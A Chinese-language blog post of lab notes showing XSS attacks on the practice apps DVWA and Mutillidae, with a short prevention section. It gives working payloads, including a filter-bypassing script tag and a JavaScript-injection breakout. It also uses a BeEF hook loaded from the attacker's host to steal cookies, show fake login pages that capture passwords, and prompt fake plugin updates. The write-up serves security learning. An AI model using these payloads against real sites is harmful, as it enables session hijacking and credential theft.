Metasploitable 學習筆記-XSS Vulnerability : BeEF 瀏覽器攻擊與社交工程欺騙
這是一篇Metasploitable系列文,可以參考我的Medium系列目錄:
- https://kuronetwork.me/posts/
- Metasploitable 學習筆記-DVWA文件上傳漏洞( file upload) & Reverse Shell
- Metasploitable 學習筆記-DVWA Command injection 命令注入攻擊與 Reverse Shell
- Metasploitable 學習筆記-DVWA LFI( Local File inclusion )/RFI (Remote File Inclusion)& Reverse Shell
什麼是XSS漏洞?
XSS 全稱為 Cross-Site Scripting(跨網站指令碼攻擊)
XSS可分為下列三種類型(引用上方網站解說):
- 反射型XSS (Reflected XSS):Reflected 是指不會被儲存在資料庫中,而是由網頁後端直接嵌入由前端使用者所傳送過來的內容造成的,最常見的就是以 GET 方法傳送資料給伺服器時,伺服器未檢查就將內容回應到網頁上所產生的漏洞。
- 儲存型XSS (Stored XSS):會被保存在伺服器資料庫中的 JavaScript 代碼引起的攻擊即為 Stored XSS,最常見的就是論壇文章、留言板等等,因為使用者可以輸入任意內容,若沒有確實檢查,那使用者輸入如 <script> 等關鍵字就會被當成正常的 HTML 執行,標籤的內容也會被正常的作為 JavaScript 代碼執行。而此手法需透過特定網址點入,因此攻擊者通常會以釣魚手法、社交工程等方式誘騙受害者點入連結,但因為代碼都在網址上,只要細心一點就不容易受害。
- 基於Dom 的XSS (DOM-Based XSS):了解此種 XSS 類型時,務必事先了解 DOM 是什麼,DOM 全稱為 Document Object Model,用以描述 HTML 文件的表示法,它讓我們可以使用 JavaScript 動態產生完整的網頁,而不必透過伺服器。因此 DOM-Based XSS 就是指網頁上的 JavaScript 在執行過程中,沒有詳細檢查資料使得操作 DOM 的過程代入了惡意指令。
過程中也看了不少網路上分享如何實作的方法,每個人的做法都很不錯,思考方式也不同。
Reflected XSS
Low等級
使用最基本的語法來試著產生XSS漏洞
<script>alert(“xss”)</script>
直接在URL或輸入框內執行這段程式碼都可以運作
Medium 等級
發現直接輸入不管用了,看一下原始碼應該是被過濾掉某些特殊符號
試著改變一下文字的大小寫來bypass
<sCript>alert(“xss”)</scRipt>
使用BeEF攻擊使用者瀏覽器
BeEF原理:
Kali 2020預設沒有BeFF,需要手動安裝,安裝後輸入beef-xss執行:
回到Low級別的DVWA,URL可以被注入XSS攻擊,所以我們可以利用BeFF實作一次看看
操作步驟:
Beef XSS上有基本的參數 :
<script src=”http://127.0.0.1:3000/hook.js"></script>
目標機器的網址:
http://192.168.40.135/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
Src->改成KaliLinux IP
http://192.168.40.135/dvwa/vulnerabilities/xss_r/?name=<script src=”http://192.168.40.138:3000/hook.js"></script>
將整串指令輸入於URL
回到BeEF主控台即可看見主機被釣到了,使用在儲存型XSS更危險,因為使用者不會注意到XSS,
取得Cookie
在commands搜尋Cookie 找到Get Cookie,點選兩次執行
社交工程
使用社交工程模組-Pretty Theft,可以選擇多個偽造的頁面讓使用者重新登錄帳號密碼
回到DVWA看一下頁面,會顯示出Time Out需要重新輸入帳號密碼
再次回到Kali裡面,即可看到使用者輸入的帳號密碼
提示安裝插件與更新
社交工程有許多好用的模組可以用,例如提示假的插件安裝或更新
Stored XSS
Low
Medium
調整成Medium後會發現欄位會過濾了,看一下網頁的程式碼,對著Name選擇右鍵點選檢測元素,修改maxlength長度
但因為會進行過濾,所以我們照著之前的手法,將大小寫改變一下:
使用BeFF
使用先前的手法與指令將BeFF的參數丟到XSS Stored
在BeFF上找到 Create Alert Dialog,功能與Alert(“XSS”)差不多,輸入要顯示的文字後送出
回到網站即會發現在被害者的瀏覽器上跳出視窗,我們可以透過BeFF執行各種不同的惡意指令
使用Spyder eyes 擷取被害者瀏覽器(Creates a snapshot)
找到Spyder eyes後直接執行兩次,即可看到Snapshot
Mutillidae網站練習
路徑: OWASP Top10 -> injection -> java script injection
同之前我們先試試看塞XSS的語法,發現網站會過濾
<script>
try{
document.getElementById(“idUsernameInput”).innerHTML = “This password is for <script>alert(“xss”)</script>
“;
}catch(e){
alert(“Error: “ + e.message);
}// end catch->” ;alert(‘XSS’);//
- 原本已經有了script ,我們將script去掉
- 前面This password 文字有一個 "我們將雙引號關閉 所以補一個"在語法前面
- javascript 語法,我們將前面一段語法結束掉,所以加上; ,並將後面全部註解 ,加上//
或是其他的大神有不同的語法:
anonymous";}catch(e){}alert("XSS");try{XSS="
預防
- HtmlEncode : 將&&符號等轉為HTML程式碼
詳細預防的解說可參考這篇:
- 過濾與限制使用者可輸入的內容
如果有興趣可以參考其他篇的筆記:
https://medium.com/blacksecurity/tagged/ctf
若您喜歡我的文章,歡迎按下「拍手」與Liker按讚給我支持並轉發給你的朋友們(可以多拍幾下手喔),或是「Follow」我,讓我提供文章給您。
Facebook 粉絲專頁 剛開始建立經營 不會洗版(沒有時間) !!包含資安與投資的資訊,歡迎追蹤我並分享。
也歡迎繼續閱讀:
網路安全封包分析:Wireshark 快速判斷IP位置並找出可疑程式 — 使用GeoLite2
CTF Write-up 滲透測試系列
https://medium.com/blacksecurity/tagged/ctf